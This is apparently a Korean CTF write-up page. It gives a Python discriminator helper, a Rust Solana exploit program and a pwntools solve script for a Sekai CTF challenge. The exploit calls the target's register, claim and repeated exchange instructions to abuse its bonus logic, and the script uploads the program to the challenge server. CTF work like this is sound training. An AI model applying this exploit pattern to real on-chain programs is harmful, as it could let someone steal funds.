import hashlib
keccak_hash = hashlib.sha256()
data = b"global:test_test" # testTest
data = b"global:claim_liveBonus" # claimLiveBonus
keccak_hash.update(data)
hash_result = keccak_hash.hexdigest()[:16]
hash_result = bytes.fromhex(hash_result)
hash_result = list(hash_result)
print(f"sha256 : {hash_result}")
'''
[211, 124, 67, 15, 211, 194, 178, 240]
[216, 121, 131, 75, 232, 154, 71, 25]
[213, 157, 193, 142, 228, 56, 248, 150]
[47, 3, 27, 97, 215, 236, 219, 144]
'''
#![cfg(not(feature = "no-entrypoint"))]
use std::ops::Deref;
use solana_program::declare_id;
use borsh::{BorshDeserialize, BorshSerialize};
use solana_program::account_info::next_account_info;
use solana_program::program::invoke;
use solana_program::{
account_info::AccountInfo,
entrypoint,
entrypoint::ProgramResult,
instruction::{AccountMeta, Instruction},
pubkey::Pubkey,
msg,
};
use std::rc::Rc;
declare_id!("So1bCJvDc3p3PoqbVB33h4qyHrPzikCeDfQ5kpAmjV6");
entrypoint!(process_instruction);
fn process_instruction(
program_id: &Pubkey,
accounts: &[AccountInfo],
instruction_data: &[u8],
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let program = next_account_info(account_iter)?;
let data_account = next_account_info(account_iter)?;
let user = next_account_info(account_iter)?;
let user_data = next_account_info(account_iter)?;
let sp = next_account_info(account_iter)?;
let livebonus = next_account_info(account_iter)?;
let eventinfo = next_account_info(account_iter)?;
let clock = next_account_info(account_iter)?;
// for debug
{
let str = Rc::deref(&Rc::clone(&data_account.data)).borrow().deref();
msg!(&format!("{:?}", Rc::deref(&Rc::clone(&data_account.data)).borrow().deref()));
msg!(&format!("{:?}", data_account.owner));
}
//// register
{
let mut cont: Vec<u8> = vec![211, 124, 67, 15, 211, 194, 178, 240];
let register = Instruction::new_with_bytes(
program.key.clone(),
&cont,
vec![
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(livebonus.key.clone(), false),
AccountMeta::new(eventinfo.key.clone(), false),
AccountMeta::new_readonly(sp.key.clone(), false),
],
);
invoke(®ister,
&[
user_data.clone(),
data_account.clone(),
user.clone(),
program.clone(),
sp.clone(),
livebonus.clone(),
eventinfo.clone(),
clock.clone(),
]);
}
//// claim
{
let mut cont: Vec<u8> = vec![77, 150, 206, 136, 38, 221, 202, 1];
// let mut cont2: Vec<u8> = vec![0, 0, 0, 0, 0, 0, 0, 0];
// cont.append(&mut cont2);
let claim = Instruction::new_with_bytes(
program.key.clone(),
&cont,
vec![
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(eventinfo.key.clone(), false),
AccountMeta::new_readonly(clock.key.clone(), false),
],
);
invoke(&claim,
&[
user_data.clone(),
data_account.clone(),
user.clone(),
program.clone(),
sp.clone(),
livebonus.clone(),
eventinfo.clone(),
clock.clone(),
]);
}
//// exchange
{
let mut cont: Vec<u8> = vec![47, 3, 27, 97, 215, 236, 219, 144];
let mut cont2: Vec<u8> = vec![0, 0, 0, 0, 0, 0, 0, 0];
cont.append(&mut cont2);
let exchange = Instruction::new_with_bytes(
program.key.clone(),
&cont,
vec![
AccountMeta::new(data_account.key.clone(), false),
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(eventinfo.key.clone(), false),
AccountMeta::new(eventinfo.key.clone(), false),
],
);
invoke(&exchange,
&[
user_data.clone(),
data_account.clone(),
user.clone(),
program.clone(),
sp.clone(),
livebonus.clone(),
eventinfo.clone(),
clock.clone(),
]);
}
{
let mut cont: Vec<u8> = vec![47, 3, 27, 97, 215, 236, 219, 144];
let mut cont2: Vec<u8> = vec![0, 0, 0, 0, 0, 0, 0, 0];
cont.append(&mut cont2);
let exchange = Instruction::new_with_bytes(
program.key.clone(),
&cont,
vec![
AccountMeta::new(data_account.key.clone(), false),
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(eventinfo.key.clone(), false),
AccountMeta::new(eventinfo.key.clone(), false),
],
);
invoke(&exchange,
&[
user_data.clone(),
data_account.clone(),
user.clone(),
program.clone(),
sp.clone(),
livebonus.clone(),
eventinfo.clone(),
clock.clone(),
]);
}
Ok(())
}
# sample solve script to interface with the server
import pwn
# if you don't know what this is doing, look at server code and also sol-ctf-framework read_instruction:
# https://github.com/otter-sec/sol-ctf-framework/blob/rewrite-v2/src/lib.rs#L237
# feel free to change the accounts and ix data etc. to whatever you want
account_metas = [
("program", "-r"), # read only
("data account", "-w"), # writable
("user", "sw"), # signer + writable
("user data", "sw"),
("system program", "-r"),
("livebonus", "-w"), # writable
("eventinfo", "-w"), # writable
("clock", "-r"),
]
instruction_data = b"placeholder"
HOST = "ibennto.chals.sekai.team"
# HOST = "127.0.0.1"
PORT = 1337
p = pwn.remote(HOST, PORT, ssl=True)
with open("./solve/target/deploy/solve.so", "rb") as f:
solve = f.read()
p.sendlineafter(b"program pubkey: \n", b"So1bCJvDc3p3PoqbVB33h4qyHrPzikCeDfQ5kpAmjV6")
p.sendlineafter(b"program len: \n", str(len(solve)).encode())
p.send(solve)
accounts = {}
for l in p.recvuntil(b"num accounts: \n", drop=True).strip().split(b"\n"):
[name, pubkey] = l.decode().split(": ")
accounts[name] = pubkey
accounts["system program"] = "11111111111111111111111111111111"
from solders.pubkey import Pubkey
import base58
LIVE_BONUS_SEED = b"LiveBonus"
EVENT_INFO_SEED = b"EventInfo"
new_acct = Pubkey([0] * 31 + [0])
livebonus, _ = new_acct.find_program_address(
seeds=[LIVE_BONUS_SEED, base58.b58decode(accounts['user'])],
program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)
eventinfo, _ = new_acct.find_program_address(
seeds=[EVENT_INFO_SEED, base58.b58decode(accounts['user'])],
program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)
accounts["livebonus"] = livebonus
accounts["eventinfo"] = eventinfo
accounts["clock"] = "SysvarC1ock11111111111111111111111111111111"
print(accounts)
p.sendline(str(len(account_metas)).encode())
for name, perms in account_metas:
p.sendline(f"{perms} {accounts[name]}".encode())
p.sendlineafter(b"ix len: \n", str(len(instruction_data)).encode())
p.send(instruction_data)
p.interactive()
'writeups' 카테고리의 다른 글
2024 Blaz CTF - solana challs (0) | 2024.10.08 |
---|---|
2024 codegate - sms (0) | 2024.09.04 |
CrewCTF 2024 - blockchain(lightbook) (0) | 2024.08.05 |
HITCON CTF 2024 Quals(Lustrous, No-Exit Room, Flag Reader) (0) | 2024.07.15 |
justctf2024 teaser (0) | 2024.06.17 |